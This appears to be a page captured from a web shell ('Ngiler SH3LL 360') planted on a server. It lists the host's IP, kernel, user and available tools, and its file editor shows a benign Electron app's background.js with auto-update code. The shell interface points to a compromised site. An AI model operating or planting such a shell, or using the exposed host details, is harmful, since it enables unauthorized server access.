Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
curs.tbf.ro
/
src
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
background.js
| Size :
7.23
KB
Copy
'use strict' import { app, protocol, BrowserWindow, Menu, Notification } from 'electron' import { createProtocol } from 'vue-cli-plugin-electron-builder/lib' import installExtension, { VUEJS_DEVTOOLS } from 'electron-devtools-installer' const logger = require('electron-log'); const {autoUpdater} = require("electron-updater"); const isDevelopment = process.env.NODE_ENV !== 'production' const openAboutWindow = require('about-window').default; const join = require('path').join; // Keep a global reference of the window object, if you don't, the window will // be closed automatically when the JavaScript object is garbage collected. let win function sendStatusToWindow(title, body) { const myNotification = new Notification(); myNotification.title = title; myNotification.body = body; myNotification.show(); } // Scheme must be registered before the app is ready protocol.registerSchemesAsPrivileged([ { scheme: 'app', privileges: { secure: true, standard: true } } ]) function createWindow() { // Create the browser window. icon:'icon.png', win = new BrowserWindow({ // Toate optiunile se pot gasi aici: https://www.electronjs.org/docs/api/browser-window#new-browserwindowoptions width: 1920, height: 1080, webPreferences: { // Use pluginOptions.nodeIntegration, leave this alone // See nklayman.github.io/vue-cli-plugin-electron-builder/guide/security.html#node-integration for more info nodeIntegration: process.env.ELECTRON_NODE_INTEGRATION } }) if (process.env.WEBPACK_DEV_SERVER_URL) { // Load the url of the dev server if in development mode win.loadURL(process.env.WEBPACK_DEV_SERVER_URL) if (!process.env.IS_TEST) win.webContents.openDevTools() } else { createProtocol('app') // Load the index.html when not in development win.loadURL('app://./index.html') autoUpdater.checkForUpdatesAndNotify() } win.on('closed', () => { win = null }) } // Quit when all windows are closed. app.on('window-all-closed', () => { // On macOS it is common for applications and their menu bar // to stay active until the user quits explicitly with Cmd + Q if (process.platform !== 'darwin') { app.quit() } }) app.on('activate', () => { // On macOS it's common to re-create a window in the app when the // dock icon is clicked and there are no other windows open. if (win === null) { createWindow() } }) // This method will be called when Electron has finished // initialization and is ready to create browser windows. // Some APIs can only be used after this event occurs. q app.on('ready', async () => { //try to update! autoUpdater.autoDownload = false; try { const info = await autoUpdater.checkForUpdatesAndNotify(); logger.info('checkForUpdatesAndNotify'); logger.info(JSON.stringify(info)); autoUpdater.on('update-downloaded', (updateInfo) => { logger.info(`autoUpdater - Version ${updateInfo.version} downloaded, notify, quitting, installing, and relaunching`); sendStatusToWindow("Aplicatia se va restarta pentru actualizare", "Acest proces va dura doar cateva secunde"); setTimeout(() => { logger.info(`autoUpdater - Quitting and installing now`); sendStatusToWindow("Aplicatia se va restarta pentru actualizare", "Acest proces va dura doar cateva secunde"); autoUpdater.quitAndInstall(); }, 3000); }); await autoUpdater.on('update-available', arg => { logger.info('update-available'); autoUpdater.downloadUpdate(); logger.info(arg); sendStatusToWindow("Exista o noua versiune pentru acest soft", "Noua versiune urmeaza sa fie descarcata si instalata"); }); // await autoUpdater.on('download-progress', (progressObj) => { // let log_message = "Download speed: " + progressObj.bytesPerSecond; // log_message = log_message + ' - Downloaded ' + progressObj.percent + '%'; // log_message = log_message + ' (' + progressObj.transferred + "/" + progressObj.total + ')'; // sendStatusToWindow(log_message, ""); // }) await autoUpdater.on('update-not-available', arg => { logger.info('update-not-available'); logger.info(arg); sendStatusToWindow("Felicitari! Ai ultima versiune instalata", "Spor la stabilit obiective."); }); // await autoUpdater.on('download-progress', arg => { // logger.info('download-progress'); // logger.info(arg); // sendStatusToWindow("Noua versiune se descarca", "Descarcarea ultimei versiuni este in curs de procesare"); // }); await autoUpdater.on('error', error => { logger.info('error'); logger.info(error.message); logger.info(error.stack); sendStatusToWindow("Eroare", error.message); }); } catch (error) { logger.info('autoupdate failed'); sendStatusToWindow("autoupdate failed", error.message); } const menu = Menu.buildFromTemplate([ { label: app.getVersion() }, ]); Menu.setApplicationMenu(menu); createWindow(); }); // app.on('ready', async () => { // if (isDevelopment && !process.env.IS_TEST) { // // Install Vue Devtools // try { // await installExtension(VUEJS_DEVTOOLS) // } catch (e) { // console.error('Vue Devtools failed to install:', e.toString()) // } // } // // Menu.setApplicationMenu(false) // const menu = Menu.buildFromTemplate([ // { // label: app.getVersion(), // // submenu: [ // // { // // label: 'About This App', // // click: () => // // openAboutWindow({ // // icon_path: 'icon.png', // // copyright: 'Copyright (c) 2015 rhysd', // // package_json_dir: __dirname, // // open_devtools: process.env.NODE_ENV !== 'production' // // }), // // }, // // { // // label: 'About This App (modal with close)', // // click: () => // // openAboutWindow(info:{ // // icon_path: 'icon.png', // // copyright: 'Copyright (c) 2015 rhysd', // // package_json_dir: __dirname, // // use_version_info: true, // // win_options: { // // parent: win, // // modal: true, // // }, // // show_close_button: 'Close', // // }), // // }, // // ], // }, // ]); // Menu.setApplicationMenu(menu); // createWindow() // }) // Exit cleanly on request from parent process in development mode. if (isDevelopment) { if (process.platform === 'win32') { process.on('message', (data) => { if (data === 'graceful-exit') { app.quit() } }) } else { process.on('SIGTERM', () => { app.quit() }) } }
Back